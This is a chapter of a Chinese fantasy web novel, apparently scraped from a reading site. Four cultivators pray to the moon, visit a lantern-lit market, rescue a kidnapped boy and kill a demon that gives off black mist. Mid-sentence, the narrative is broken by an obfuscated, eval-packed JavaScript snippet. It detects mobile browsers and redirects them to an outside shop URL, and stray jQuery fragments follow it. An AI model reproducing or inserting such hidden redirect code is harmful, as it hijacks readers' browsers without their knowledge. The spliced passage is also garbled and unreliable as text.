月下两人跪在蒲团上。
“信女在此敬拜明月,祈佑安康。”
“一愿风调雨顺,山河无恙;二愿家人团聚,幸福美满;三愿身体康健,福寿双全。”
二人双手合十,祈愿完成后虔诚下拜。
“师傅说让你们拜完月后出发。”贺辞看着两人这副样子,神色也温和了不少。
凤浅慕很是雀跃地牵着赵清然的手一起站起来:“为何不现在就走,再晚该赶不上看杂耍了。”
贺辞扶额无奈,道:“可还没拜完吧。”
“阿辞你不懂,这个讲究心诚则灵,只要我们足够心诚,月神就不会怪罪。”凤浅慕装模作样的双手合十,却又偷偷睁开一只眼睛瞧着赵清然的神色,“对不对。”
赵清然看着她这幅模样,忍不住轻笑一声:“对,阿慕说得最对了。”
话都说到这份上了,贺辞再说什么都没用,只能一边替凤浅慕将缠着头发的长流苏理顺,一边道:“师傅还在书房。”
凤浅慕双臂环胸道:“他让你来喊我们,结果自己偷偷待在书房?这是什么道理。”
赵清然道:“大概,他也没想到我们会这么快结束。”
“去找找他好了。”
与此同时,书房中。
林槐正从信鸽身上拆下两封信,他捏着这两封信转身,不慎将桌上的一卷卷轴撞到地上,卷轴铺散开,里头是一幅画。
画中女子着一身青衣,正温和地笑着看向画外,手中捧了一卷书,至真至纯,令人见之难忘。
林槐本想将画卷收回,可当他伸出手,却不由自主地轻抚上画中女子的面庞,指尖的凉意将他的理智唤回。
他低头扯了扯嘴角,露出一个比哭还难看的笑,眼神落在一处莲花烛台上,指尖仍在无意识地描摹画中女子的轮廓。
他的初衷本就是,无论这一切成与不成,都要将青黛干干净净的排除在外,而如今既已得心中所求,也该由他承担后果。
或许青黛说得对,他本就不应该把无辜之人卷入自己坎坷的命途中。
“林槐,走了。”书房门突然扣响,一起响起的还有凤浅慕的声音。
林槐的思绪突然被打断,他手忙脚乱地把画卷重新收好,却又碰掉了不少杂物,噼里啪啦的砸在地上,书房内立马热闹起来。
门外的三人皱着眉头交换了一个眼神后,凤浅慕推开一道小缝,三人透过这道缝小心的朝屋内看去,正对上林槐强装镇定的眼神。
凤浅慕道:“原来没遭贼。”
林槐将卷轴抱在怀中,冷声道:“出去……不对,关门。”
“集市……”
“等着!”
南城处处灯火通明,灿若白昼,歌姬唱曲,武夫卖艺,小贩此起彼伏的敲鼓吆喝,几人一进集市,烟火香气就裹着鼎沸人声扑入怀中。
“好!再来一个!”凤浅慕揽着赵清然的胳膊叫好,一把铜钱被她撒进托盘,刚蹦跶没几下,又被人群挤得一个趔趄,撞上身后人的肩膀,她回过头,看见的是林槐黑如锅底的脸。
凤浅慕凑到赵清然耳边压低声音:“林槐这是怎么了,我们是不是坏了他什么好事。”
赵清然有些不知道该说什么,好半天才挤出一句:“这……在书房里能干什么事。”
凤浅慕道:“他这人你又不是不清楚,向来是闷声干大事。”
她的眼珠子转呀转,而后凑到赵清然耳边叽里呱啦不知说了什么,惹得赵清然蹙眉,犹豫了许久道出一句:“这不好吧。”
凤浅慕轻轻撞了一下赵清然的肩膀,又凑到她耳边一阵叽里呱啦,赵清然这才勉强点了头。
她见这边已定下,又扭头对着贺辞点点头。
贺辞正捏着她衣服上的飘带,对她想出来的鬼点子一无所知,只蹙眉歪头,眼中尽是询问之意。
凤浅慕不管他眼中的询问,又重重点了两下脑袋。
贺辞挑眉,跟着她一起点了点头,就这么稀里糊涂地被拉进了她的冒险计划。
林槐只一心思索着该把画卷放哪里合适,倒是没心思关注他们几人在打什么算盘。
此时的人群突然爆发一阵骚动,远远的,几个衣着不凡的人四处揪着路人询问着什么,走进后几人才听清发生了什么。
“有没有看见一个小男孩,大概这么高,穿着蓝色的衣服。”为首的人一边说一边比划着。
凤浅慕皱眉刚想摇头,就察觉到身旁的林槐指尖微动,身上的灵力也朝四周铺散开,于是她温声道:“我们没看见,但可以帮你找找。”
“找到了。”林槐将灵力收回,朝着那几人颔首,“你们在这等着,我去把人带回来。”
“这么快!等等我们。”
一灰衣女子于黑夜中狂奔,手中挟着一个昏迷幼子。
她刚跑出城准备松口气时,立时发现自己被罩在一个半透明青色结界里。
她撞上屏障,又重重地跌到地上,她见逃脱不得,指尖瞬间长出数寸长的指尖,直逼幼子咽喉。
却在还未触及皮肉时,一阵亮光闪过,手中的幼子到了面前的男人手中。
林槐一手掐诀控制着妖物,一手把幼子丢给匆匆赶来的几人。
“就结束了?”凤浅慕戳着被贺辞揽着的男孩胖嘟嘟的脸颊,不禁感叹这手感真是极好,“这就是他们找的人?”
林槐后退几步到他们身边,道:“没结束,你们去斩杀这妖物,全当修习。”
“林槐……啊!”凤浅慕本想拒绝,却不想被林槐一把推进了结界中,她狼狈地摔在草地上,再抬头,面前出现女妖的利爪。
“你们是自己去还是我来?”林槐看着好不容易才逮到机会拔出无名剑的凤浅慕,假笑着面对剩下的两人,“放心吧,有我在,你们不会有事。”
无名剑朝女妖刺去,灼热的红光将女妖逼得不得不退让,没退几步就撞上身后的结界。
退无可退之际女妖纵身跃起,尖锐的指甲直逼凤浅慕的咽喉。
剑锋调转,女妖的指甲被劈断,随即爆发出刺耳的叫声。
凤浅慕嫌这声音太吵又太难听,她蹙眉捂着耳朵,将女妖一脚踹开,正踹到贺辞面前。
贺辞闪身躲开女妖的利爪,剑锋在女妖身上划过,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670072|207365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
溢出的却不是鲜血,而是一股股的黑气,这些黑气仿佛有生命一般,将贺辞完全笼罩,似是要吸食他的血肉。
贺辞持剑劈砍那黑气,一缕黑气逸散后又有许多补上,竟是源源不断,无法完全破坏。
“贺辞!”凤浅慕刚往前走一步,就有许多黑气盘旋在她的四周,再看赵清然身边,竟也尽是黑气环绕。
赵清然一剑劈散自己身边的黑气,朝着凤浅慕大喊:“我没事,你先管他。”
凤浅慕手中变换,周身瞬间爆发出红光,将自身周围的黑气驱散,只片刻她就行至笼罩着贺辞的黑气周围,这处的黑气最是浓郁,也最是强大,在凤浅慕靠近后只是退开,竟没有完全消散。
“无名。”
无名剑受到召唤,剑身红光大亮,直直朝着黑气而去,将密不透风的茧破开一个大洞。
贺辞面前一阵红光闪过,面前的黑气被撕扯开一个洞,他趁着这个机会逃离黑气的笼罩,可结界内已尽是黑气,四处飘荡的黑气如同鬼魅般缠绕着几人。
贺辞持剑将凤浅慕身后的黑气尽数消灭,而后他靠近些许:“要快将那女妖斩杀才行,不然这黑气永远源源不断。”
正巧赵清然此时也挣脱黑气的束缚,几人眼神相触后便一齐朝女妖的方向而去,三把剑瞬间洞穿女妖的身体,这次她连声音都没来得及发出就变成了一具干尸。
女妖死后,黑气也没了作威作福的资本,不过多时就全消失了,这一切结束之后,那青色的结界才解除。
林槐抱臂站在几步之外,身旁是目睹全程、已然呆滞的男孩。
凤浅慕抱着剑,眼中神采飞扬:“赢了。”
林槐道:“恭喜。”
凤浅慕踏出一步,踩上了一块光滑的石子。
她身子一歪,倒在地上,脚踝处传来钻心的疼。
几人都被这突如其来的变故镇住了,一时之间无人动作,贺辞反应最快,他在凤浅慕身侧蹲下,一脸懊恼:“殿下摔到哪里了。”
凤浅慕一手捂着脸,一手指着脚踝说不出话来。
她觉得太丢脸了,这么会突然摔成这样,明明在与女妖缠斗时还威风凛凛,如今打完了反而受伤了。
几人不知道她是这样的心思,只当她是疼得说不出话,还是赵清然替她打了个圆场:“师妹定然是与那女妖打斗累着了。”
凤浅慕抬头,捂着脚踝可怜巴巴的看向赵清然:“师姐……”
“姐姐。”那个小男孩几步窜到凤浅慕面前,贺辞本想拦下,却被凤浅慕一个眼神制止了。
凤浅慕强装镇定微笑道:“怎么了,小朋友。”
小男孩现在反倒踌躇起来,他扭捏了几下:“你们刚才很厉害。”
“哈哈,谢谢你啊。”凤浅慕干笑几声,事实上如果不是以她摔在地上结束的话,会更厉害。
“漂亮姐姐,我能不能邀请你……们去我家做客。”小男孩腰间香囊的穗子都已然被他捏散,线都掉了好几根。
“没看见伤着了吗?”贺辞冷冷出声,“她现在最需要的是上药和休息,而不是去身份不明的人家里做客。”